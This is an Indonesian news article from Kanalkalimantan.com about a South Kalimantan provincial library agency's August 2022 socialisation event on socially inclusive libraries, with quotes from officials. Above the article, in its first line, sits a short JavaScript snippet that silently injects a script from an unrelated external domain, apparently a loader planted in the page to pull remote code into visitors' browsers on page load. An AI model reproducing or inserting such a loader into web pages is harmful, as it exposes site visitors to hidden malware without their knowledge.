(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) sosialisasi pengembangan perpustakaan berbasis inklusi sosial.
Kegiatan ini sebagai komitmen kuat Dispersip Kalsel terus melakukan transformasi perpustakaan berbasis inklusi sosial di seluruh Provinsi Kalsel, dengan menjalin kerjasama yang baik dengan seluruh perpustakaan kabupaten kota se Kalsel.
Narasumber yang dihadirkan dari Perpustakaan Nasional (Perpusnas) RI yaitu Drs Deni Kurniadi MHum, Deputi Bidang Pengembangan Sumber Daya Perpustakaan.
Acara berlangsung di salah satu hotel di Banjarmasin selama tiga hari 29-31 Agustus 2022. Peserta yang mengikuti dari Kepala Dinas Perpustakaan dan Kearsipan kabupaten kota dan fasilitator daerah kabupaten kota se Kalsel.
Baca juga: Siswa SMKN 2 Simpang Empat Dilatih PBB
Sekadar diketahui, perpustakaan berbasis inklusi sosial merupakan perpustakaan yang memfasilitasi masyarakat dalam mengembangkan potensinya dengan melihat keragaman budaya, kemauan untuk menerima perubahan, serta menawarkan kesempatan berusaha, melindungi dan memperjuangkan budaya dan Hak Azasi Manusia (HAM).
Tujuan khususnya meningkatkan kualitas layanan perpustakaan, meningkatkan penggunaan layanan oleh masyarakat sesuai dengan kebutuhan masyarakat.
Lalu membangun komitmen dan dukungan stakeholder untuk transformasi perpustakaan yang berkelanjutan.
Drs Deni Kurniadi MHum, Deputi Bidang Pengembangan Sumber Daya Perpustakaan dari Perpusnas RI mengatakan, dalam strategi transformasi layanan perpustakaan berbasis inklusi sosial ini, perpustakaan dan koleksinya didesain untuk dimanfaatkan masyarakat seoptimal mungkin.
“Untuk aksinya ruang berbagi pengalaman, ruang belajar yang kontekstual dan ruang berlatih keterampilan kerja,” ujarnya.
“Sementara untuk indikatornya peningkatan kunjungan pemustaka ke perpustakaan, peningkatan pelibatan masyarakat dalam kegiatan perpustakaan dan peningkatan jumlah kemitraan perpustakaan dengan berbagai lembaga,” ungkap Deni Kurniadi.
Sementara itu, Kabid Kabid Pelayanan dan Pembinaan Dispersip Kalsel Wildan Akhyar mengharapkan terjalin kerjasama yang semakin baik antara Dispersip Kalsel dengan Dispersip kabupaten kota se Kalsel untuk terus mengembangkan perpustakaan berbasis inklusi sosial.
“Karena perpustakaan bukan hanya untuk mencerdaskan, tapi juga untuk kesejahteraan,” ujar Wildan Akhyar. (Kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.